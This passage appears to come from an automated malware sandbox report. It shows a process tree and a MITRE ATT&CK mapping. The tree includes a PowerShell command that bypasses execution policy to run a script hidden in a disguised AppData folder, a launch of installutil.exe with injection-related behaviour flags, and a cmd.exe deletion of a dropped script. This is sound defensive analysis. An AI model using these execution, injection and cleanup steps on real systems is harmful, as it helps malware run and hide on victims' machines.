        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\czukq.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:1596
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe"
        7⤵
        
        PID:4560
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsbçš„è¿™äº”js"
        6⤵
        
        PID:3284

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...